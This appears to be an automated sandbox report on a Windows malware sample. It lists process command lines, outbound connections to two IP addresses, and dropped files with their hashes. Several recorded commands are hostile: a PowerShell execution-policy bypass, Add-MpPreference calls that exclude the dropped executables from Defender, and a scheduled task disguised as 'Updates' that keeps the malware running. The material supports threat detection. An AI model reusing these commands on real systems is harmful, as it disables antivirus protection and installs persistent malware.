"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex ByPass -noP -W 1 -c dEvicECREDenTIAlDePLOYMeNt
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pioainsv\pioainsv.cmdline"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES953B.tmp" "c:\Users\Admin\AppData\Local\Temp\pioainsv\CSCCCA93449458046FB91A41D5B7BA14CC7.TMP"
C:\Users\Admin\AppData\Roaming\caspol.exe
"C:\Users\Admin\AppData\Roaming\caspol.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\caspol.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\bdWEysRwjYwmy.exe"
C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\bdWEysRwjYwmy" /XML "C:\Users\Admin\AppData\Local\Temp\tmp1D18.tmp"
C:\Users\Admin\AppData\Roaming\caspol.exe
"C:\Users\Admin\AppData\Roaming\caspol.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 28.118.140.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 64.159.190.20.in-addr.arpa | udp |
| US | 192.3.243.136:80 | 192.3.243.136 | tcp |
| US | 8.8.8.8:53 | 136.243.3.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 149.220.183.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 154.239.44.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 56.163.245.4.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 198.187.3.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 92.12.20.2.in-addr.arpa | udp |
| DE | 94.156.177.95:80 | tcp | |
| US | 8.8.8.8:53 | 85.49.80.91.in-addr.arpa | udp |
| DE | 94.156.177.95:80 | tcp | |
| DE | 94.156.177.95:80 | tcp | |
| US | 8.8.8.8:53 | 23.236.111.52.in-addr.arpa | udp |
| DE | 94.156.177.95:80 | tcp | |
| DE | 94.156.177.95:80 | tcp |
Files
memory/3628-0-0x0000000070D4E000-0x0000000070D4F000-memory.dmp
memory/3628-1-0x0000000070D40000-0x00000000714F0000-memory.dmp
memory/3628-2-0x0000000002EA0000-0x0000000002ED6000-memory.dmp
memory/3628-3-0x0000000070D40000-0x00000000714F0000-memory.dmp
memory/3628-4-0x0000000005BF0000-0x0000000006218000-memory.dmp
memory/3628-5-0x00000000059E0000-0x0000000005A02000-memory.dmp
memory/3628-6-0x0000000005A80000-0x0000000005AE6000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4g130yri.x1t.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/3628-7-0x0000000005AF0000-0x0000000005B56000-memory.dmp
memory/3628-17-0x0000000006320000-0x0000000006674000-memory.dmp
memory/3628-18-0x00000000067A0000-0x00000000067BE000-memory.dmp
memory/3628-19-0x00000000067E0000-0x000000000682C000-memory.dmp
memory/1304-29-0x0000000005FE0000-0x0000000006012000-memory.dmp
memory/1304-30-0x000000006D600000-0x000000006D64C000-memory.dmp
memory/1304-40-0x0000000006020000-0x000000000603E000-memory.dmp
memory/1304-41-0x0000000006C40000-0x0000000006CE3000-memory.dmp
memory/1304-42-0x00000000073B0000-0x0000000007A2A000-memory.dmp
memory/1304-43-0x0000000006D60000-0x0000000006D7A000-memory.dmp
memory/1304-44-0x0000000006DD0000-0x0000000006DDA000-memory.dmp
memory/1304-45-0x0000000006FF0000-0x0000000007086000-memory.dmp
memory/1304-46-0x0000000006F60000-0x0000000006F71000-memory.dmp
memory/1304-47-0x0000000006F90000-0x0000000006F9E000-memory.dmp
memory/1304-48-0x0000000006FA0000-0x0000000006FB4000-memory.dmp
memory/1304-49-0x00000000070B0000-0x00000000070CA000-memory.dmp
memory/1304-50-0x0000000006FE0000-0x0000000006FE8000-memory.dmp
\??\c:\Users\Admin\AppData\Local\Temp\pioainsv\pioainsv.cmdline
| MD5 | 0c8157ae8c8644baca532fca3cf78a23 |
| SHA1 | 68bcbc107ae0af17d26e3fa1664531a29311eb30 |
| SHA256 | d9f9617f78f5add827b8c0c78aed858248002ddbf039686a74fa99f9c5e3241b |
| SHA512 | 404c7f407cb6d7f1318e74c257c99e17a649715a1a55db6887df633bc419ff964265cc73e29077b5c08198c753aa060081d0f4a04ca5652bf93326bf2d55186c |
\??\c:\Users\Admin\AppData\Local\Temp\pioainsv\pioainsv.0.cs
| MD5 | ee60617752b2061187e3773f962ff810 |
| SHA1 | 5d3dc400820671b51499e9003fcbd7794d07e315 |
| SHA256 | 69736289404f9f61bb67a99a24945aaa347591458b09f4dd686bbc58d8b25ce9 |
| SHA512 | 5bf701c77b31bcf3421fa2cc4649127b54656175bdfb238ddca8606063ceec69fd76d2f611b5f55f246a3003d3fd76b1b318fa0fc4cb1b10d9b8b04e153bf231 |
\??\c:\Users\Admin\AppData\Local\Temp\pioainsv\CSCCCA93449458046FB91A41D5B7BA14CC7.TMP
| MD5 | 8ac91e40550b9d58561c8d82ac6504d4 |
| SHA1 | ec833cc84868bed55587b91fb6106489be4c3a93 |
| SHA256 | d96dea45c953da282df5eccedb7628d1c813a729a43305d92bb65bc5c89e3ba5 |
| SHA512 | 0417d04a97d985ed1b1fdd83cc54b297be79deaef697ceb134aaf6e3d218264107259007f694c028aa0acbd3419c755cd4c8666ea45d8d214571839813a1a1b9 |
C:\Users\Admin\AppData\Local\Temp\RES953B.tmp
| MD5 | 62f0660cf52ed395b4a6425343382ae4 |
| SHA1 | 1261c0e6aeb74b2286484185b604be403fe4f7c6 |
| SHA256 | 1570347e257d7650de62eae73f427662fc3755c8449c3ef7efb31e51a6064f2f |
| SHA512 | 00a33b0456f01d40ad922be0c8afd22d698d57965fb015e4d32596b906063d3d9ca834a7019c2edc314dba7f6925d52c66d54dccdfb0ea5c0e0b46988baabeb3 |
C:\Users\Admin\AppData\Local\Temp\pioainsv\pioainsv.dll
| MD5 | 044e6a34491a8197e84c9f889c99701b |
| SHA1 | eaa3d724005bf475c8d606b5180925ca547f357c |
| SHA256 | 54cc5ffd4e06dda02481b2decd77916ebbd690c6881aa799a44312e127b87fc4 |
| SHA512 | abf02f8dea56635cfc7e017ac1e760a50310ca640d2c4944e0439ab6636b79925964db18d13de05eb0183ef6e3e887b4ea7f6ecee97a5e8849742e413127723b |
memory/3628-65-0x0000000006D40000-0x0000000006D48000-memory.dmp
memory/3628-71-0x0000000070D4E000-0x0000000070D4F000-memory.dmp
memory/3628-72-0x0000000070D40000-0x00000000714F0000-memory.dmp
C:\Users\Admin\AppData\Roaming\caspol.exe
| MD5 | 8c34e99269d4121a0dfe4c3eaa9e269f |
| SHA1 | 5bbaa7dc726324e057eb4f78856c368488c4805a |
| SHA256 | 2899cb71414f7d46a6be0d40a5ba017d407a41f291154ea6a86f421754d11a76 |
| SHA512 | 99f3cc287b9437ee888371fac3cf37d77d39c9468086feb0c80f4a0a4cc8a750c0b2798ec32a90aea3c88ed67c36005bcfd81d8e439edcdaca9e60caa1f3f277 |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\POwerSHELL.ExE.log
| MD5 | 968cb9309758126772781b83adb8a28f |
| SHA1 | 8da30e71accf186b2ba11da1797cf67f8f78b47c |
| SHA256 | 92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a |
| SHA512 | 4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 33efa80f7a462a31b816cd9e90eed2b2 |
| SHA1 | e5d0658f1bb78032c97bc8aec243170b0a2e9ba8 |
| SHA256 | 2520944452a4389e0020c4e9fd750c9a28b634815225cf5fc2ecc57d187e40ea |
| SHA512 | eae580dfe2249e7619e99afe86fe42dd82d658fc715bfa50650e91c83fdd415ce4910f85ace84faffac4e7d24512dbbfa336c4e5dc053534933d1d30a893d838 |
memory/3628-81-0x0000000070D40000-0x00000000714F0000-memory.dmp
memory/4160-82-0x0000000000620000-0x00000000006A2000-memory.dmp
memory/4160-83-0x00000000054C0000-0x0000000005A64000-memory.dmp
memory/4160-84-0x0000000004FB0000-0x0000000005042000-memory.dmp
memory/4160-85-0x0000000004F70000-0x0000000004F7A000-memory.dmp
memory/4160-86-0x0000000005220000-0x00000000052BC000-memory.dmp
memory/4160-87-0x0000000006650000-0x0000000006662000-memory.dmp
memory/4160-88-0x00000000068F0000-0x0000000006954000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\tmp1D18.tmp
| MD5 | c7ba5c1ac848550536c780356482e630 |
| SHA1 | 42eb99f2ba3898360a9b6b9ecde96b2682ee0f65 |
| SHA256 | ca5a8bb1950af70a8b5f0191c5b1d515b9f7f7a5f1ac8854673534339b90a3e6 |
| SHA512 | baac35432b1d2f125357caa0037b37e60e317f6fd89d6aa2c543abe954e03d2ddadd3651d250a5e93b8bb9429f823894c216494d5503ab3ee373debbdb66e477 |
memory/2160-103-0x00000000057F0000-0x0000000005B44000-memory.dmp
memory/3252-106-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/3252-104-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/2160-118-0x00000000062B0000-0x00000000062FC000-memory.dmp
memory/2160-119-0x000000006DBE0000-0x000000006DC2C000-memory.dmp
memory/2160-129-0x0000000006D20000-0x0000000006DC3000-memory.dmp
memory/732-133-0x000000006DBE0000-0x000000006DC2C000-memory.dmp
memory/2160-143-0x0000000007270000-0x0000000007281000-memory.dmp
memory/2160-144-0x00000000072B0000-0x00000000072C4000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 4638accf0fe5ee6fb9a8dc65f26d51f5 |
| SHA1 | 95753a5b406d5c40f3fe2bf73ec1c2c8e63fd43c |
| SHA256 | e0c35fdec51ba0b320b993525b99455d726cf35d2b370f06da994994212a5dc7 |
| SHA512 | 79fd049a717bb8b697217d0deec692504654a289cd33cf8418fde9f306a3d49085ae0a16b3a4648b72128edb539a97a6b3298b355910ce6d6bb1b323d1c8b6ea |
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2878641211-696417878-3864914810-1000\0f5007522459c86e95ffcc62f32308f1_4fc725d8-4f7d-4884-b878-08bb0ce6c800
| MD5 | d898504a722bff1524134c6ab6a5eaa5 |
| SHA1 | e0fdc90c2ca2a0219c99d2758e68c18875a3e11e |
| SHA256 | 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9 |
| SHA512 | 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61 |
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2878641211-696417878-3864914810-1000\0f5007522459c86e95ffcc62f32308f1_4fc725d8-4f7d-4884-b878-08bb0ce6c800
| MD5 | c07225d4e7d01d31042965f048728a0a |
| SHA1 | 69d70b340fd9f44c89adb9a2278df84faa9906b7 |
| SHA256 | 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a |
| SHA512 | 23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b |